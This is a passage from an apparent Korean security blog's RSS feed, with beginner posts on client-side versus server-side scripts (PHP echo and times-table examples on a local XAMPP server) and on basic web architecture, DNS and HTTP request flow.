&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;581&quot; data-origin-height=&quot;190&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/btfZF6/btsKKa3Daf3/RPXnbI2RqPR9A3UjSxUDfK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/btfZF6/btsKKa3Daf3/RPXnbI2RqPR9A3UjSxUDfK/img.png&quot; data-alt=&quot;그림2 - test1.php(1) 소스보기&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/btfZF6/btsKKa3Daf3/RPXnbI2RqPR9A3UjSxUDfK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbtfZF6%2FbtsKKa3Daf3%2FRPXnbI2RqPR9A3UjSxUDfK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;581&quot; height=&quot;190&quot; data-origin-width=&quot;581&quot; data-origin-height=&quot;190&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림2 - test1.php(1) 소스보기&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;test1.php 동적 자원을 호출하였더니, test 라는 문자열이 출력되었다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;소스 보기를 통해 확인해도 test 라는 문자열만 확인이 된다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;test1.php에는 echo &quot;test&quot;라는 코드를 작성하였는데 왜 test 라는 문자열만 출력되는 걸까?&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;echo 함수는 php에서 문자를 출력해주는 함수로 서버에서 echo 함수를 해석하여 test 문자열만 출력된 것이다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;클라이언트 측에서는 Server-Side Script로 작성된 코드를 확인할 수 없다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;만약 Client-Side Script 를 해당 코드에 추가하면 어떻게 인식될까?&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;lt; test1.php &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1731566228846&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php

	echo &quot;&amp;lt;b&amp;gt;test&amp;lt;/b&amp;gt;&quot;;
	
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;HTML &amp;lt;b&amp;gt; 태그를 사용하여 볼드 처리(굵게) 하였다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;웹 브라우저에서는 아래와 같이 확인된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;551&quot; data-origin-height=&quot;172&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oRgdO/btsKKcNU9m2/fwsN4GEMNuFpLGDJ0fAfUK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oRgdO/btsKKcNU9m2/fwsN4GEMNuFpLGDJ0fAfUK/img.png&quot; data-alt=&quot;그림3 - test1.php(2)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oRgdO/btsKKcNU9m2/fwsN4GEMNuFpLGDJ0fAfUK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoRgdO%2FbtsKKcNU9m2%2FfwsN4GEMNuFpLGDJ0fAfUK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;551&quot; height=&quot;172&quot; data-origin-width=&quot;551&quot; data-origin-height=&quot;172&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림3 - test1.php(2)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;578&quot; data-origin-height=&quot;175&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EsyEy/btsKIw8fRxK/X3wQZBNeij1FehkLwmfMD1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EsyEy/btsKIw8fRxK/X3wQZBNeij1FehkLwmfMD1/img.png&quot; data-alt=&quot;그림4 - test1.php(2) 소스보기&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EsyEy/btsKIw8fRxK/X3wQZBNeij1FehkLwmfMD1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEsyEy%2FbtsKIw8fRxK%2FX3wQZBNeij1FehkLwmfMD1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;578&quot; height=&quot;175&quot; data-origin-width=&quot;578&quot; data-origin-height=&quot;175&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림4 - test1.php(2) 소스보기&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;b&amp;gt; 태그는 Client-Side Script 이기 때문에 웹 브라우저 인터페이스에서는 해석이 되어 test 문자열이 굵게 변하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스보기를 통해 확인한 결과, &amp;lt;b&amp;gt; 태그는 Client-Side Script 이기 때문에 Apache 웹 서버에서는 이를 해석하지 못하므로 코드 그대로 반환하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;JavaScript로 구구단 2단 코드 작성&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;php로 구구단 2단 코드 작성&lt;/p&gt;
&lt;pre id=&quot;code_1731567664746&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;script&amp;gt;
var x = 2;
document.write(&quot;&amp;lt;b&amp;gt;&amp;gt;&amp;gt; Client-Side Script&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&quot;);
for(var i=1; i&amp;lt;10; i++) {
	document.write(x + &quot;x&quot; + i + &quot;=&quot; + x*i + &quot;&amp;lt;br&amp;gt;&quot;);
}
&amp;lt;/script&amp;gt;


&amp;lt;?php
echo &quot;&amp;lt;b&amp;gt;&amp;gt;&amp;gt; Server-Side Script&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&quot;;
$x = 2;
for($i=1; $i&amp;lt;10; $i++) {
	$y = $x*$i;
	$result = &quot;{$x}x{$i}={$y}&amp;lt;br&amp;gt;&quot;;
	echo $result;
}	
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드 작성 후 127.0.0.1/example/test1.php 접속 시 웹 브라우저에서 아래와 같이 확인이 가능하다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;577&quot; data-origin-height=&quot;534&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GWx7z/btsKJEdaFMv/or7tD7ktp1NxTO3RLGmyC1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GWx7z/btsKJEdaFMv/or7tD7ktp1NxTO3RLGmyC1/img.png&quot; data-alt=&quot;그림5 - test1.php(3)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GWx7z/btsKJEdaFMv/or7tD7ktp1NxTO3RLGmyC1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGWx7z%2FbtsKJEdaFMv%2For7tD7ktp1NxTO3RLGmyC1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;577&quot; height=&quot;534&quot; data-origin-width=&quot;577&quot; data-origin-height=&quot;534&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림5 - test1.php(3)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;907&quot; data-origin-height=&quot;296&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vQin0/btsKJIGpsR4/4y8wBrCTr7k8TxFTXWw8xk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vQin0/btsKJIGpsR4/4y8wBrCTr7k8TxFTXWw8xk/img.png&quot; data-alt=&quot;그림6 - test1.php(3) 소스보기&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vQin0/btsKJIGpsR4/4y8wBrCTr7k8TxFTXWw8xk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvQin0%2FbtsKJIGpsR4%2F4y8wBrCTr7k8TxFTXWw8xk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;907&quot; height=&quot;296&quot; data-origin-width=&quot;907&quot; data-origin-height=&quot;296&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림6 - test1.php(3) 소스보기&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;test1.php가 웹 서버에서 기동되고 결과값을 반환한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;JavaScript로 작성한 코드가 먼저 작성되어 있더라도, 웹 서버에서는 해석이 되지 않아 그대로 반환한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;php로 작성한 코드는 웹 서버에서 해석하여 컴파일 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 브라우저에서 웹 서버의 응답값을 받아서 출력하게되면, JavaScript로 작성된 코드가 해석되어 출력된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;php로 작성된 코드도 웹 서버에서 해석하여 반환한 값을 그대로 출력하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;test1.php 페이지의 소스보기를 확인 시, Client-Side Script로 작성된 코드(JavaScript)는 웹 서버에서 해석하지 못해 코드 그대로 반환되며, Server-Side Sciprt로 작성된 코드(php)는 웹 서버에서 해석되어 결과값이 반환되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;결론&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. Client-Side Script는 웹 서버에서 해석이 불가능하여 소스보기로 확인 시 코드가 그대로 반환된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. Server-Side Script는 웹 서버에서 해석이 되어 소스보기로 확인 시 결과값만 반환된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 웹 브라우저는 Client-Side Script를 해석하며, 서버에서 보낸 응답값과 같이 출력해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; Client-Side Script는 공격자가 코드를 확인하여 변조가 가능하므로 보안에 취약하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; Server-Side Script는 결과값만 반환하므로 공격자가 변조하기 어렵다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.inflearn.com/course/%EC%9B%B9-%EA%B8%B0%EC%88%A0-%EA%B8%B0%EC%B4%88&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.inflearn.com/course/%EC%9B%B9-%EA%B8%B0%EC%88%A0-%EA%B8%B0%EC%B4%88&lt;/a&gt;&lt;/p&gt;</description>
      <category>웹 해킹/웹 기초 지식</category>
      <category>client side script</category>
      <category>server side script</category>
      <category>XAMPP</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/198</guid>
      <comments>https://it-log.tistory.com/198#entry198comment</comments>
      <pubDate>Fri, 15 Nov 2024 22:00:39 +0900</pubDate>
    </item>
    <item>
      <title>웹 아키텍처 분석</title>
      <link>https://it-log.tistory.com/197</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;웹 아키텍처&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일반적인 웹 아키텍처는 클라이언트 - 웹 서버 - 데이터베이스의 형태로 구성되어 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;영역별로 프론트 엔드(Front-End)와 백 엔드(Back-End)로 나뉜다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 개발자들은 프론트 엔드 개발자와 백 엔드 개발자로 나뉘며, 두개를 전부하는 풀스택 개발자도 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래는 웹 아키텍처는 웹을 단순화 시킨 구조로 실제 환경은 이보다 훨씬 복잡하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약점 진단에 앞서서 웹 아키텍처에 대한 이해는 필수이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;533&quot; data-origin-height=&quot;161&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cJI98M/btsKDXLTZRu/xUNIW98MMtsJaA1NHIX3Zk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cJI98M/btsKDXLTZRu/xUNIW98MMtsJaA1NHIX3Zk/img.png&quot; data-alt=&quot;그림1 - 웹 아키텍처 구조&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cJI98M/btsKDXLTZRu/xUNIW98MMtsJaA1NHIX3Zk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcJI98M%2FbtsKDXLTZRu%2FxUNIW98MMtsJaA1NHIX3Zk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;533&quot; height=&quot;161&quot; data-origin-width=&quot;533&quot; data-origin-height=&quot;161&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림1 - 웹 아키텍처 구조&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프론트 엔드 = HTML, CSS, JavaScript&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;백 엔드 = PHP, JSP, ASP&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;웹 아키텍처 동작 원리 분석&lt;/b&gt;&lt;b&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클라이언트 측에서 사용자가 웹 브라우저를 통해 사이트 접속을 하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러면 웹 브라우저에서는 가장 먼저 도메인에 따른 IP 변환 작업을 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이유는 데이터 전송을 위해서는 IP가 반드시 필요하기 때문이다. &amp;rarr; 도메인만으로는 통신 불가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 요청 메시지를 제작한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1395&quot; data-origin-height=&quot;534&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/1Nw4M/btsKEjVmPUe/SsKIhYqMHFgrprbXYUxNbk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/1Nw4M/btsKEjVmPUe/SsKIhYqMHFgrprbXYUxNbk/img.png&quot; data-alt=&quot;그림2 - 웹 아키텍처 동작 원리 분석(1)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/1Nw4M/btsKEjVmPUe/SsKIhYqMHFgrprbXYUxNbk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F1Nw4M%2FbtsKEjVmPUe%2FSsKIhYqMHFgrprbXYUxNbk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1395&quot; height=&quot;534&quot; data-origin-width=&quot;1395&quot; data-origin-height=&quot;534&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림2 - 웹 아키텍처 동작 원리 분석(1)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클라이언트에서 브라우저를 통한 사이트 접속&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 웹 사이트 접속 - URL 입력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 도메인 &amp;rarr; IP 변환 작업&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. HTTP 요청 메시지 제작 후 웹 서버에 전송&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTTP 프로토콜은 TCP/IP 통신을 기반으로 하기 때문에 3-way hand shake 과정을 거쳐야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클라이언트는 웹 서버와 통신하기 위해 다음 단계를 거친다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 3-way hand shake 과정&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. HTTP 요청 메시지 웹 서버로 전송&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 요청에 따른 DB 연결 및 질의 과정 &amp;rarr; 정적 페이지인 경우 질의 X&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. 응답 메시지 제작 후 클라이언트로 전송&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1022&quot; data-origin-height=&quot;514&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c6R9Ko/btsKEO1Ukqq/skbZNfFQCu6sKCPdZUEyKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c6R9Ko/btsKEO1Ukqq/skbZNfFQCu6sKCPdZUEyKK/img.png&quot; data-alt=&quot;그림3 - 웹 아키텍처 동작 원리 분석(2)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c6R9Ko/btsKEO1Ukqq/skbZNfFQCu6sKCPdZUEyKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc6R9Ko%2FbtsKEO1Ukqq%2FskbZNfFQCu6sKCPdZUEyKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1022&quot; height=&quot;514&quot; data-origin-width=&quot;1022&quot; data-origin-height=&quot;514&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림3 - 웹 아키텍처 동작 원리 분석(2)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;응답 메시지를 받으면 이를 해석 후 바디에 있는 데이터인 HTML 코드를 웹 브라우저가 해석 하여 사용자에게 깔끔한 인터페이스를 제공하게 된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;904&quot; data-origin-height=&quot;475&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/F9GL8/btsKFj1jJhS/mMWPzoiYlpHAklQnuUbjcK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/F9GL8/btsKFj1jJhS/mMWPzoiYlpHAklQnuUbjcK/img.png&quot; data-alt=&quot;그림4 - 웹 아키텍처 동작 원리 분석(3)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/F9GL8/btsKFj1jJhS/mMWPzoiYlpHAklQnuUbjcK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FF9GL8%2FbtsKFj1jJhS%2FmMWPzoiYlpHAklQnuUbjcK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;904&quot; height=&quot;475&quot; data-origin-width=&quot;904&quot; data-origin-height=&quot;475&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림4 - 웹 아키텍처 동작 원리 분석(3)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;클라이언트&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클라이언트 프로그램은 대표적으로 웹 브라우저가 있으며, 웹 브라우저 종류는 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 크롬, 엣지, 사파리, 파이어폭스 등&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 브라우저는 사용자가 입력한 URL을 이용해 서버에 자원을 요청하고, 서버로부터 응답을 받아서 해석 후 사용자에게 GUI 환경을 제공한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1077&quot; data-origin-height=&quot;368&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wFIjc/btsKDD70zRQ/d8tR6ZpBVcnAzg3dpfouK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wFIjc/btsKDD70zRQ/d8tR6ZpBVcnAzg3dpfouK1/img.png&quot; data-alt=&quot;그림5 - 웹 브라우저의 역할&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wFIjc/btsKDD70zRQ/d8tR6ZpBVcnAzg3dpfouK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwFIjc%2FbtsKDD70zRQ%2Fd8tR6ZpBVcnAzg3dpfouK1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1077&quot; height=&quot;368&quot; data-origin-width=&quot;1077&quot; data-origin-height=&quot;368&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림5 - 웹 브라우저의 역할&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;웹 사이트 구조 분석&lt;/b&gt;&lt;/h2&gt;
